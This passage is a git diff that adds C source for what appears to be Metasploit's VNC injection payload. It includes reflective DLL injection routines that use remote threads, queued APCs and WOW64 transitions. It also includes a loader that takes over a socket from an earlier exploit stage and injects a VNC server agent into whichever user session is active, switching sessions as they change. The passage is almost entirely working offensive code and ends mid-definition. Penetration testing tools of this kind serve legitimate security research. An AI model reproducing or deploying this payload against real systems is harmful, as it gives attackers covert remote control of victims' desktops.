LPVOID lpStartAddress, LPVOID lpParameter ) +{ + DWORD dwResult = ERROR_SUCCESS; + HANDLE hThread = NULL; + DWORD dwThreadId = 0; + + do + { + // Create the thread in the remote process. Create suspended in case the call to CreateRemoteThread + // fails, giving us a chance to try an alternative method or fail migration gracefully. + hThread = CreateRemoteThread( hProcess, NULL, 1024*1024, (LPTHREAD_START_ROUTINE)lpStartAddress, lpParameter, CREATE_SUSPENDED, &dwThreadId ); + if( !hThread ) + { + if( dwMeterpreterArch == PROCESS_ARCH_X86 && dwDestinationArch == PROCESS_ARCH_X64 ) + { + // injecting x86(wow64)->x64, (we expect the call to kernel32!CreateRemoteThread to fail and bring us here). + + if( inject_via_remotethread_wow64( hProcess, lpStartAddress, lpParameter, &hThread ) != ERROR_SUCCESS ) + BREAK_ON_ERROR( "[INJECT] inject_via_remotethread: migrate_via_remotethread_wow64 failed" ) + } + else + { + BREAK_ON_ERROR( "[INJECT] inject_via_remotethread: CreateRemoteThread failed" ) + } + } + + dprintf("[INJECT] inject_via_remotethread: Resuming the injected thread..." ); + // Resume the injected thread... + if( ResumeThread( hThread ) == (DWORD)-1 ) + BREAK_ON_ERROR( "[INJECT] inject_via_remotethread: ResumeThread failed" ) + + } while( 0 ); + + if( hThread ) + CloseHandle( hThread ); + + SetLastError( dwResult ); + + return dwResult; +} + +extern DWORD loader_inject_pre( DWORD dwPid, HANDLE hProcess, char * cpCommandLine ); +extern DWORD loader_inject_post( DWORD dwPid, HANDLE hProcess, DWORD dwInjectResult ); + +/* + * Inject a DLL image into a process via Reflective DLL Injection. + * + * Note: You must inject a DLL of the correct target process architecture, (e.g. a PE32 DLL for + * an x86 (wow64) process or a PE64 DLL for an x64 process). The wrapper function ps_inject_dll() + * in stdapi will handle this automatically. + * + * Note: GetReflectiveLoaderOffset() has a limitation of currenlty not being able to work for PE32 DLL's + * in a native x64 meterpereter due to compile time assumptions, however GetReflectiveLoaderOffset() + * will check for this and fail gracefully. + * + * Note: This function largely depreciates LoadRemoteLibraryR(). + */ +DWORD inject_dll( DWORD dwPid, LPVOID lpDllBuffer, DWORD dwDllLenght ) +{ + DWORD dwResult = ERROR_ACCESS_DENIED; + DWORD dwNativeArch = PROCESS_ARCH_UNKNOWN; + LPVOID lpRemoteCommandLine = NULL; + HANDLE hProcess = NULL; + LPVOID lpRemoteLibraryBuffer = NULL; + LPVOID lpReflectiveLoader = NULL; + DWORD dwReflectiveLoaderOffset = 0; + char cCommandLine[COMMANDLINE_LENGTH] = {0}; + + do + { + if( !lpDllBuffer || !dwDllLenght ) + BREAK_WITH_ERROR( "[INJECT] inject_dll. No Dll buffer supplied.", ERROR_INVALID_PARAMETER ); + + // check if the library has a ReflectiveLoader... + dwReflectiveLoaderOffset = GetReflectiveLoaderOffset( lpDllBuffer ); + if( !dwReflectiveLoaderOffset ) + BREAK_WITH_ERROR( "[INJECT] inject_dll. GetReflectiveLoaderOffset failed.", ERROR_INVALID_FUNCTION ); + + hProcess = OpenProcess( SYNCHRONIZE | PROCESS_DUP_HANDLE | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, dwPid ); + if( !hProcess ) + BREAK_ON_ERROR( "[INJECT] inject_dll. OpenProcess failed." ); + + dwResult = loader_inject_pre( dwPid, hProcess, (char *)&cCommandLine ); + if( dwResult != ERROR_SUCCESS ) + BREAK_ON_ERROR( "[INJECT] inject_dll. loader_inject_pre failed." ); + + if( strlen(cCommandLine) ) + { + // alloc some space and write the commandline which we will pass to the injected dll... + lpRemoteCommandLine = VirtualAllocEx( hProcess, NULL, strlen(cCommandLine)+1, MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE ); + if( !lpRemoteCommandLine ) + BREAK_ON_ERROR( "[INJECT] inject_dll. VirtualAllocEx 1 failed" ); + + if( !WriteProcessMemory( hProcess, lpRemoteCommandLine, &cCommandLine, strlen(cCommandLine)+1, NULL ) ) + BREAK_ON_ERROR( "[INJECT] inject_dll. WriteProcessMemory 1 failed" ); + } + + // alloc memory (RWX) in the host process for the image... + lpRemoteLibraryBuffer = VirtualAllocEx( hProcess, NULL, dwDllLenght, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE ); + if( !lpRemoteLibraryBuffer ) + BREAK_ON_ERROR( "[INJECT] inject_dll. VirtualAllocEx 2 failed" ); + + // write the image into the host process... + if( !WriteProcessMemory( hProcess, lpRemoteLibraryBuffer, lpDllBuffer, dwDllLenght, NULL ) ) + BREAK_ON_ERROR( "[INJECT] inject_dll. WriteProcessMemory 2 failed" ); + + // add the offset to ReflectiveLoader() to the remote library address... + lpReflectiveLoader = (LPVOID)( (DWORD)lpRemoteLibraryBuffer + (DWORD)dwReflectiveLoaderOffset ); + + // First we try to inject by directly creating a remote thread in the target process + if( inject_via_remotethread( hProcess, dwMeterpreterArch, lpReflectiveLoader, lpRemoteCommandLine ) != ERROR_SUCCESS ) + { + dprintf( "[INJECT] inject_dll. inject_via_remotethread failed, trying inject_via_apcthread..." ); + + // If that fails we can try to migrate via a queued APC in the target process + if( inject_via_apcthread( hProcess, dwPid, dwMeterpreterArch, lpReflectiveLoader, lpRemoteCommandLine ) != ERROR_SUCCESS ) + BREAK_ON_ERROR( "[INJECT] inject_dll. inject_via_apcthread failed" ) + } + + dwResult = ERROR_SUCCESS; + + } while( 0 ); + + return loader_inject_post( dwPid, hProcess, dwResult ); +} diff --git a/external/source/vncdll/vncdll/inject.h b/external/source/vncdll/vncdll/inject.h new file mode 100644 index 0000000000..d7e7fffda1 --- /dev/null +++ b/external/source/vncdll/vncdll/inject.h @@ -0,0 +1,102 @@ +// Copyright (C) 2006-2010, Rapid7, Inc +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without modification, +// are permitted provided that the following conditions are met: +// +// * Redistributions of source code must retain the above copyright notice, +// this list of conditions and the following disclaimer. +// +// * Redistributions in binary form must reproduce the above copyright notice, +// this list of conditions and the following disclaimer in the documentation +// and/or other materials provided with the distribution. +// +// * Neither the name of Rapid7, Inc nor the names of its contributors +// may be used to endorse or promote products derived from this software +// without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND +// ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED +// WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE +// DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR +// ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES +// (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; +// LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON +// ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS +// SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. +//===============================================================================================// +#ifndef _VNCDLL_LOADER_INJECT_H +#define _VNCDLL_LOADER_INJECT_H +//===============================================================================================// + +#define COMMANDLINE_LENGTH 1024 + +//===============================================================================================// + +// Definition of ntdll!NtQueueApcThread +typedef DWORD (NTAPI * NTQUEUEAPCTHREAD)( HANDLE hThreadHandle, LPVOID lpApcRoutine, LPVOID lpApcRoutineContext, LPVOID lpApcStatusBlock, LPVOID lpApcReserved ); + +// Definitions used for running native x64 code from a wow64 process (see executex64.asm) +typedef BOOL (WINAPI * X64FUNCTION)( DWORD dwParameter ); +typedef DWORD (WINAPI * EXECUTEX64)( X64FUNCTION pFunction, DWORD dwParameter ); + +//===============================================================================================// + +// The context used for injection via migrate_via_apcthread +typedef struct _APCCONTEXT +{ + union + { + LPVOID lpStartAddress; + BYTE bPadding1[8]; + } s; + + union + { + LPVOID lpParameter; + BYTE bPadding2[8]; + } p; + + BYTE bExecuted; + +} APCCONTEXT, * LPAPCCONTEXT; + +// The context used for injection via migrate_via_remotethread_wow64 +typedef struct _WOW64CONTEXT +{ + union + { + HANDLE hProcess; + BYTE bPadding2[8]; + } h; + + union + { + LPVOID lpStartAddress; + BYTE bPadding1[8]; + } s; + + union + { + LPVOID lpParameter; + BYTE bPadding2[8]; + } p; + union + { + HANDLE hThread; + BYTE bPadding2[8]; + } t; +} WOW64CONTEXT, * LPWOW64CONTEXT; + +//===============================================================================================// + +DWORD inject_via_apcthread( HANDLE hProcess, DWORD dwProcessID, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter ); + +DWORD inject_via_remotethread( HANDLE hProcess, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter ); + +DWORD inject_dll( DWORD dwPid, LPVOID lpDllBuffer, DWORD dwDllLenght ); + +//===============================================================================================// +#endif +//===============================================================================================// diff --git a/external/source/vncdll/vncdll/loader.c b/external/source/vncdll/vncdll/loader.c new file mode 100755 index 0000000000..251f548066 --- /dev/null +++ b/external/source/vncdll/vncdll/loader.c @@ -0,0 +1,429 @@ +// sf: March 2010. + +#include "loader.h" +#include "context.h" +#include "ps.h" +#include "session.h" +#include "inject.h" + +#define VNCFLAG_DISABLECOURTESYSHELL 1 +#define VNCFLAG_DISABLESESSIONTRACKING 2 + +#include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c" + +/* + * The HINSTANCE of this injected dll. + */ +extern HINSTANCE hAppInstance; + +/* + * The socket created by stage one. + */ +SOCKET sock = INVALID_SOCKET; + +/* + * Flag to disable following the active session as users log in an out of the input desktop. + */ +BOOL bDisableSessionTracking = FALSE; + +/* + * The event that signals the remote client has closed the socket connection. + */ +HANDLE hSocketCloseEvent = NULL; + +/* + * The event to terminate the vnc agent. + */ +HANDLE hAgentCloseEvent = NULL; + +/* + * The process hosting the vnc agent. + */ +HANDLE hAgentProcess = NULL; + +/* + * The rfb streams context we keep for the agent (see context.c) + */ +extern AGENT_CTX AgentContext; + +/* + * Extract the vnc.dll into the provided DLL_BUFFER. + */ +DWORD loader_vncdll( DLL_BUFFER * pDllBuffer ) +{ + DWORD dwResult = ERROR_SUCCESS; + HRSRC hVncResource = NULL; + HGLOBAL hVncResourceLoad = NULL; + LPVOID lpVncDllBuffer = NULL; + DWORD dwVncDllSize = 0; +#ifdef _WIN64 + DWORD dwCompiledArch = PROCESS_ARCH_X64; +#else + DWORD dwCompiledArch = PROCESS_ARCH_X86; +#endif + + do + { + if( !pDllBuffer ) + BREAK_WITH_ERROR( "[LOADER] Init. pDllBuffer is null", ERROR_INVALID_PARAMETER ); + + pDllBuffer->dwPE64DllLenght = 0; + pDllBuffer->lpPE64DllBuffer = NULL; + pDllBuffer->dwPE32DllLenght = 0; + pDllBuffer->lpPE32DllBuffer = NULL; + + hVncResource = FindResource( (HMODULE)hAppInstance, "IDR_VNC_DLL", "IMG" ); + if( !hVncResource ) + BREAK_ON_ERROR( "[LOADER] Init. FindResource failed" ); + + dwVncDllSize = SizeofResource( (HMODULE)hAppInstance, hVncResource ); + if( !dwVncDllSize ) + BREAK_ON_ERROR( "[LOADER] Init. SizeofResource failed" ); + + hVncResourceLoad = LoadResource( (HMODULE)hAppInstance, hVncResource ); + if( !hVncResourceLoad ) + BREAK_ON_ERROR( "[LOADER] Init. LoadResource failed" ); + + lpVncDllBuffer = LockResource( hVncResourceLoad ); + if( !lpVncDllBuffer ) + BREAK_ON_ERROR( "[LOADER] Init. LockResource failed" ); + + dprintf( "[LOADER] Init. lpVncDllBuffer=0x%08X, dwVncDllSize=%d", lpVncDllBuffer, dwVncDllSize ); + + if( dwCompiledArch == PROCESS_ARCH_X64 ) + { + pDllBuffer->dwPE64DllLenght = dwVncDllSize; + pDllBuffer->lpPE64DllBuffer = lpVncDllBuffer; + } + else if( dwCompiledArch == PROCESS_ARCH_X86 ) + { + pDllBuffer->dwPE32DllLenght = dwVncDllSize; + pDllBuffer->lpPE32DllBuffer = lpVncDllBuffer; + } + + } while( 0 ); + + SetLastError( dwResult ); + + return dwResult; +} + +/* + * A pre injection hook called before our dll has been injected into a process. + */ +DWORD loader_inject_pre( DWORD dwPid, HANDLE hProcess, char * cpCommandLine ) +{ + DWORD dwResult = ERROR_SUCCESS; + LPVOID lpMemory = NULL; + AGENT_CTX RemoteAgentContext = {0}; + int i = 0; + + do + { + if( !hProcess || !cpCommandLine ) + BREAK_WITH_ERROR( "[LOADER] loader_inject_pre. !hProcess || !cpCommandLine", ERROR_INVALID_PARAMETER ); + + // Use User32!WaitForInputIdle to slow things down so if it's a new + // process (like a new winlogon.exe) it can have a chance to initilize... + // Bad things happen if we inject into an uninitilized process. + WaitForInputIdle( hProcess, 10000 ); + + CLOSE_HANDLE( hAgentCloseEvent ); + CLOSE_HANDLE( hAgentProcess ); + + memcpy( &RemoteAgentContext, &AgentContext, sizeof(AGENT_CTX) ); + + hAgentCloseEvent = CreateMutex( NULL, TRUE, NULL ); + if( !hAgentCloseEvent ) + BREAK_ON_ERROR( "[LOADER] loader_inject_pre. CreateEvent hAgentCloseEvent failed" ); + + if( !DuplicateHandle( GetCurrentProcess(), hAgentCloseEvent, hProcess, &RemoteAgentContext.hCloseEvent, 0, FALSE, DUPLICATE_SAME_ACCESS ) ) + BREAK_ON_ERROR( "[LOADER] loader_inject_pre. DuplicateHandle hAgentCloseEvent failed" ) + + dprintf( "[LOADER] WSADuplicateSocket for sock=%d", sock ); + + // Duplicate the socket for the target process + if( WSADuplicateSocket( sock, dwPid, &RemoteAgentContext.info ) != NO_ERROR ) + BREAK_ON_WSAERROR( "[LOADER] WSADuplicateSocket failed" ) + + // Allocate memory for the migrate stub, context and payload + lpMemory = VirtualAllocEx( hProcess, NULL, sizeof(AGENT_CTX), MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE ); + if( !lpMemory ) + BREAK_ON_ERROR( "[LOADER] VirtualAllocEx failed" ) + + /*for( i=0 ; i<4 ; i++ ) + { + DWORD dwSize = 0; + + if( !AgentContext.dictionaries[i] ) + continue; + + dwSize = ( sizeof(DICTMSG) + AgentContext.dictionaries[i]->dwDictLength ); + + RemoteAgentContext.dictionaries[i] = VirtualAllocEx( hProcess, NULL, dwSize, MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE ); + if( !RemoteAgentContext.dictionaries[i] ) + continue; + + if( !WriteProcessMemory( hProcess, RemoteAgentContext.dictionaries[i], AgentContext.dictionaries[i], dwSize, NULL ) ) + RemoteAgentContext.dictionaries[i] = NULL; + }*/ + + // Write the ctx to memory... + if( !WriteProcessMemory( hProcess, lpMemory, &RemoteAgentContext, sizeof(AGENT_CTX), NULL ) ) + BREAK_ON_ERROR( "[MIGRATE] WriteProcessMemory 1 failed" ) + + hAgentProcess = hProcess; + + _snprintf_s( cpCommandLine, COMMANDLINE_LENGTH, COMMANDLINE_LENGTH - 1, "/v /c:0x%08p", lpMemory ); + + } while( 0 ); + + if( dwResult != ERROR_SUCCESS ) + { + dprintf( "[LOADER] loader_inject_pre. CLOSE_HANDLE( hAgentCloseEvent );" ); + CLOSE_HANDLE( hAgentCloseEvent ); + } + + return dwResult; +} + +/* + * Close the various global handles we created for the agent.. + */ +VOID loader_agent_close( VOID ) +{ + CLOSE_HANDLE( hAgentCloseEvent ); + CLOSE_HANDLE( hAgentProcess ); +} + +/* + * A post injection hook called after our dll has been injected into a process. + */ +DWORD loader_inject_post( DWORD dwPid, HANDLE hProcess, DWORD dwInjectResult ) +{ + do + { + // if we have successfully injected, run the io thread and return + if( dwInjectResult == ERROR_SUCCESS ) + { + // we only want the agent to do the RFB initilization once (for the remote viewer) + if( AgentContext.bInit ) + AgentContext.bInit = FALSE; + break; + } + + // but if injection failed close the process handle + CLOSE_HANDLE( hProcess ); + + loader_agent_close(); + + } while( 0 ); + + return dwInjectResult; +} + +/* + * Entry Point. + */ +DWORD Init( SOCKET s ) +{ + DWORD dwResult = ERROR_SUCCESS; + BOOL bTerminate = FALSE; + HANDLE hMessageThread = NULL; + DLL_BUFFER VncDllBuffer = {0}; + char cCommandLine[MAX_PATH] = {0}; + DWORD dwHostSessionId = 0; + DWORD dwActiveSessionId = 0; + DWORD dwAgentSessionId = 0xFFFFFFFF; + BYTE bFlags = 0; + + __try + { + do + { + // We maintain state for the rfb stream so as not to desynchronize the remote + // client after session switching and the injection of multiple agents server side. + context_init(); + + sock = s; + if( sock == INVALID_SOCKET ) + BREAK_WITH_ERROR( "[LOADER] Init. INVALID_SOCKET", ERROR_INVALID_PARAMETER ); + + if( recv( sock, (char *)&bFlags, 1, 0 ) == SOCKET_ERROR ) + BREAK_ON_WSAERROR( "[LOADER] Init. recv bFlags failed" ); + + if( bFlags & VNCFLAG_DISABLECOURTESYSHELL ) + AgentContext.bDisableCourtesyShell = TRUE; + + if( bFlags & VNCFLAG_DISABLESESSIONTRACKING ) + bDisableSessionTracking = TRUE; + + dprintf( "[LOADER] Init. Starting, hAppInstance=0x%08X, sock=%d, bFlags=%d", hAppInstance, sock, bFlags ); + + // get the vnc dll we will inject into the active session + if( loader_vncdll( &VncDllBuffer ) != ERROR_SUCCESS ) + BREAK_ON_ERROR( "[LOADER] Init. loader_vncdll failed" ); + + // create a socket event and have it signaled on FD_CLOSE + hSocketCloseEvent = WSACreateEvent(); + if( hSocketCloseEvent == WSA_INVALID_EVENT ) + BREAK_ON_WSAERROR( "[LOADER] Init. WSACreateEvent failed" ); + + if( WSAEventSelect( sock, hSocketCloseEvent, FD_CLOSE ) == SOCKET_ERROR ) + BREAK_ON_WSAERROR( "[LOADER] Init. WSAEventSelect failed" ); + + // get the session id that our host process belongs to + dwHostSessionId = session_id( GetCurrentProcessId() ); + + hMessageThread = CreateThread( NULL, 0, context_message_thread, NULL, 0, NULL ); + if( !hMessageThread ) + BREAK_ON_ERROR( "[LOADER] Init. CreateThread context_message_thread failed" ); + + // loop untill the remote client closes the connection, creating a vnc + // server agent inside the active session upon the active session changing + while( !bTerminate ) + { + // in case we have been waiting for a session to attach to the physical + // console and the remote client has quit, we detect this here... + if( WaitForSingleObject( hSocketCloseEvent, 0 ) == WAIT_OBJECT_0 ) + { + dprintf( "[LOADER] Init. Remote socket closed, terminating1..." ); + break; + } + + // get the session id for the interactive session + dwActiveSessionId = session_activeid(); + + // test if there is no session currently attached to the physical console... + if( dwActiveSessionId == 0xFFFFFFFF ) + { + dprintf( "[LOADER] Init. no session currently attached to the physical console..." ); + // just try to wait it out... + Sleep( 250 ); + continue; + } + else if( dwActiveSessionId == dwAgentSessionId ) + { + dprintf( "[LOADER] Init. dwActiveSessionId == dwAgentSessionId..." ); + // just try to wait it out... + Sleep( 250 ); + continue; + } + + // do the local process or session injection + if( dwHostSessionId != dwActiveSessionId ) + { + dprintf( "[LOADER] Init. Injecting into active session %d...", dwActiveSessionId ); + if( session_inject( dwActiveSessionId, &VncDllBuffer ) != ERROR_SUCCESS ) + BREAK_WITH_ERROR( "[LOADER] Init. session_inject failed", ERROR_ACCESS_DENIED ); + } + else + { + dprintf( "[LOADER] Init. Allready in the active session %d.", dwActiveSessionId ); + if( ps_inject( GetCurrentProcessId(), &VncDllBuffer ) != ERROR_SUCCESS ) + BREAK_WITH_ERROR( "[LOADER] Init. ps_inject current process failed", ERROR_ACCESS_DENIED ); + } + + dwAgentSessionId = dwActiveSessionId; + + // loop, waiting for either the agents process to die, the remote socket to die or + // the active session to change... + while( TRUE ) + { + HANDLE hEvents[2] = {0}; + DWORD dwWaitResult = 0; + + // wait for these event to be signaled or a timeout to occur... + hEvents[0] = hSocketCloseEvent; + hEvents[1] = hAgentProcess; + dwWaitResult = WaitForMultipleObjects( 2, (HANDLE *)&hEvents, FALSE, 250 ); + + // bail if we have somehow failed (e.g. invalid handle) + if( dwWaitResult == WAIT_FAILED ) + { + dprintf( "[LOADER] Init. WaitForMultipleObjects failed." ); + // if we cant synchronize we bail out... + bTerminate = TRUE; + break; + } + // if we have just timedout, test the current active session... + else if( dwWaitResult == WAIT_TIMEOUT ) + { + // if the agent is still in the active session just continue... + if( dwAgentSessionId == session_activeid() ) + continue; + // if we are not to perform session tracking try and stay in the current session (as it might become the active input session at a later stage) + if( bDisableSessionTracking ) + { + dprintf( "[LOADER] Init. Active session has changed, trying to stay in current session as session tracking disabled..." ); + Sleep( 500 ); + continue; + } + // if the agent is no longer in the active session we signal the agent to terminate + if( !ReleaseMutex( hAgentCloseEvent ) ) + dprintf( "[LOADER] Init. ReleaseMutex 1 hAgentCloseEvent failed. error=%d", GetLastError() ); + dprintf( "[LOADER] Init. Active session has changed. Moving agent into new session..." ); + dwAgentSessionId = 0xFFFFFFFF; + // and we go inject a new agent into the new active session (or terminate if session tracking disabled) + loader_agent_close(); + break; + } + // sanity check the result for an abandoned mutex + else if( (dwWaitResult >= WAIT_ABANDONED_0) && (dwWaitResult <= (WAIT_ABANDONED_0 + 1)) ) + { + dprintf( "[LOADER] Init. WAIT_ABANDONED_0 for %d", dwWaitResult - WAIT_ABANDONED_0 ); + bTerminate = TRUE; + break; + } + else + { + // otherwise if we have an event signaled, handle it + switch( dwWaitResult - WAIT_OBJECT_0 ) + { + case 0: + dprintf( "[LOADER] Init. Remote socket closed, terminating2..." ); + bTerminate = TRUE; + if( !ReleaseMutex( hAgentCloseEvent ) ) + dprintf( "[LOADER] Init. ReleaseMutex 2 hAgentCloseEvent failed. error=%d", GetLastError() ); + ReleaseMutex( hAgentCloseEvent ); + break; + case 1: + dprintf( "[LOADER] Init. Injected agent's process has terminated..." ); + loader_agent_close(); + dwAgentSessionId = 0xFFFFFFFF; + break; + default: + dprintf( "[LOADER] Init. WaitForMultipleObjects returned dwWaitResult=0x%08X", dwWaitResult ); + bTerminate = TRUE; + if( !ReleaseMutex( hAgentCloseEvent ) ) + dprintf( "[LOADER] Init. ReleaseMutex 3 hAgentCloseEvent failed. error=%d", GetLastError() ); + break; + } + } + + // get out of this loop... + break; + } + + } + + } while( 0 ); + + CLOSE_HANDLE( hSocketCloseEvent ); + + loader_agent_close(); + + closesocket( sock ); + + if( hMessageThread ) + TerminateThread( hMessageThread, 0 ); + } + __except( EXCEPTION_EXECUTE_HANDLER ) + { + dprintf( "[LOADER] Init. EXCEPTION_EXECUTE_HANDLER\n\n" ); + } + + dprintf( "[LOADER] Init. Finished." ); + + return dwResult; +} diff --git a/external/source/vncdll/vncdll/loader.h b/external/source/vncdll/vncdll/loader.h new file mode 100644 index 0000000000..3671c1ddcf --- /dev/null +++ b/external/source/vncdll/vncdll/loader.h @@ -0,0 +1,74 @@ +// Copyright (C) 2006-2010, Rapid7, Inc +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without modification, +// are permitted provided that the following conditions are met: +// +// * Redistributions of source code must retain the above copyright notice, +// this list of conditions and the following disclaimer. +// +// * Redistributions in binary form must reproduce the above copyright notice, +// this list of conditions and the following disclaimer in the documentation +// and/or other materials provided with the distribution. +// +// * Neither the name of Rapid7, Inc nor the names of its contributors +// may be used to endorse or promote products derived from this software +// without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND +// ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED +// WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE +// DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR +// ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES +// (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; +// LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON +// ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS +// SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. +//===============================================================================================// +#ifndef _VNCDLL_LOADER_LOADER_H +#define _VNCDLL_LOADER_LOADER_H +//===============================================================================================// +#define WIN32_LEAN_AND_MEAN +#include +#include +#include +#include +#include + +//#define DEBUGTRACE + +#ifdef DEBUGTRACE +#define dprintf(...) real_dprintf(__VA_ARGS__) +static void real_dprintf(char *format, ...) { + va_list args; + char buffer[1024]; + FILE * fp = fopen("c:\\debug_log_loader.txt","a"); + va_start(args,format); + vsnprintf_s(buffer, sizeof(buffer), sizeof(buffer)-3, format,args); + strcat_s(buffer, sizeof(buffer), "\r\n\x00"); + if(fp) + { + fputs( buffer, fp ); + fclose(fp); + } + OutputDebugString(buffer); +} +#else +#define dprintf(...) do{}while(0); +#endif + +// Simple macro to close a handle and set the handle to NULL. +#define CLOSE_HANDLE( h ) if( h ) { CloseHandle( h ); h = NULL; } + +#define BREAK_ON_ERROR( str ) { dwResult = GetLastError(); dprintf( "%s. error=%d", str, dwResult ); break; } +#define BREAK_WITH_ERROR( str, err ) { dwResult = err; dprintf( "%s. error=%d", str, dwResult ); break; } +#define BREAK_ON_WSAERROR( str ) { dwResult = WSAGetLastError(); dprintf( "%s. error=%d", str, dwResult ); break; } + +#define IDR_VNC_DLL 1 + +typedef DWORD (WINAPI * NTQUERYINFORMATIONPROCESS)( HANDLE ProcessHandle, DWORD ProcessInformationClass, PVOID ProcessInformation, ULONG ProcessInformationLength, PULONG ReturnLength ); + +//===============================================================================================// +#endif +//===============================================================================================// diff --git a/external/source/vncdll/vncdll/loader.rc b/external/source/vncdll/vncdll/loader.rc new file mode 100755 index 0000000000..d4f53181d0 --- /dev/null +++ b/external/source/vncdll/vncdll/loader.rc @@ -0,0 +1,18 @@ + +#ifdef _X64_ + +#ifdef _DEBUG +IDR_VNC_DLL IMG DISCARDABLE "..\\winvnc\\Debug\\x64\\winvnc.x64.dll" +#else +IDR_VNC_DLL IMG DISCARDABLE "..\\winvnc\\Release\\x64\\winvnc.x64.dll" +#endif + +#else + +#ifdef _DEBUG +IDR_VNC_DLL IMG DISCARDABLE "..\\winvnc\\Debug\\Win32\\winvnc.x86.dll" +#else +IDR_VNC_DLL IMG DISCARDABLE "..\\winvnc\\Release\\Win32\\winvnc.x86.dll" +#endif + +#endif \ No newline at end of file diff --git a/external/source/vncdll/loader/ps.c b/external/source/vncdll/vncdll/ps.c similarity index 100% rename from external/source/vncdll/loader/ps.c rename to external/source/vncdll/vncdll/ps.c diff --git a/external/source/vncdll/vncdll/ps.h b/external/source/vncdll/vncdll/ps.h new file mode 100644 index 0000000000..be2c7733d9 --- /dev/null +++ b/external/source/vncdll/vncdll/ps.h @@ -0,0 +1,77 @@ +// Copyright (C) 2006-2010, Rapid7, Inc +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without modification, +// are permitted provided that the following conditions are met: +// +// * Redistributions of source code must retain the above copyright notice, +// this list of conditions and the following disclaimer. +// +// * Redistributions in binary form must reproduce the above copyright notice, +// this list of conditions and the following disclaimer in the documentation +// and/or other materials provided with the distribution. +// +// * Neither the name of Rapid7, Inc nor the names of its contributors +// may be used to endorse or promote products derived from this software +// without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND +// ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED +// WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE +// DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR +// ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES +// (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; +// LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON +// ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS +// SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. +//===============================================================================================// +#ifndef _VNCDLL_LOADER_PS_H +#define _VNCDLL_LOADER_PS_H +//===============================================================================================// +#define WIN32_LEAN_AND_MEAN +#include +#include +#include + +typedef HANDLE (WINAPI * CREATETOOLHELP32SNAPSHOT)( DWORD dwFlags, DWORD th32ProcessID ); +typedef BOOL (WINAPI * PROCESS32FIRST)( HANDLE hSnapshot, LPPROCESSENTRY32 lppe ); +typedef BOOL (WINAPI * PROCESS32NEXT)( HANDLE hSnapshot, LPPROCESSENTRY32 lppe ); +typedef void (WINAPI * GETNATIVESYSTEMINFO)( LPSYSTEM_INFO lpSystemInfo ); +typedef BOOL (WINAPI * ISWOW64PROCESS)( HANDLE hProcess, PBOOL Wow64Process ); + +#define PROCESS_ARCH_UNKNOWN 0 +#define PROCESS_ARCH_X86 1 +#define PROCESS_ARCH_X64 2 +#define PROCESS_ARCH_IA64 3 + +//===============================================================================================// + +typedef struct _PROCESS_BASIC_INFORMATION +{ + PVOID Reserved1; + PVOID PebBaseAddress; + PVOID Reserved2[2]; + ULONG_PTR UniqueProcessId; + PVOID Reserved3; +} PROCESS_BASIC_INFORMATION; + +typedef struct _DLL_BUFFER 